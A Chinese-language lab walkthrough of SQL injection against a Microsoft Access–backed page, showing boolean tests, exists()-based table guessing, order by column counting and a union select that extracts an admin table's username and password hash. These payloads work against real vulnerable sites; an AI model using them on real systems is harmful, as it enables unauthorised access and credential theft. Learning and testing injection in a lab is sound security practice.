
⚠️⚠️总结:由上面的知识我们可以知道,access数据库的注入肯定不能够像其他的数据库,因为没有information_schema数据库,就只有access一个数据库,所有所有的表,列,以及信息都只能够爆破,直接上靶场靶场地址
?id=1 and 1=1
?id=1 and 1=2
如果如上两语句显示结果相同,就说明变量id被符号包围了,因为如下两条语结果相同
select * from sql_test where id='1 and 1=1'; select * from sql_test where id='1 and 1=2';
所以这时候测试?id=1’ and 1=1 --+等,为什么要这么测试原因如下:




数据库不用想了,就是access
爆破表名
select * from sql_test where id = 1 and exists(select * from sql_test);
使用
exists(),让前面sql语句为真,and前后必须都为真才显示正确,所以可以判断是不是正确的表名,注入语句如下:
?id=1 and exists(select * from Access),进行爆破结果如下:
有admin和news表
?id=1 and exists(select * from admin),进行爆破结果如下:
admin表下有id,username,passwd
如上都是使用盲注,就是爆破的方式获取的数据库,表,列的信息,但是信息的获取使用盲注不太现实,应为总类太多了,这里还是使用union注入:
?id=1 order by 4 :显示正常 ?id=1 order by 5:显示不正常
所以有4列
mysql和access输出点区别:
?id=1 union select 1,2,3,4 from admin access数据库?id=1 union select 1,2,3,4 mysql数据库accesss数据库没有limit
>
?id=1 union select 1,username,passwd,4 from admin得到结果如下:
moke
7e6ec4fadf84938f
所以用户名和密码为
moke27737201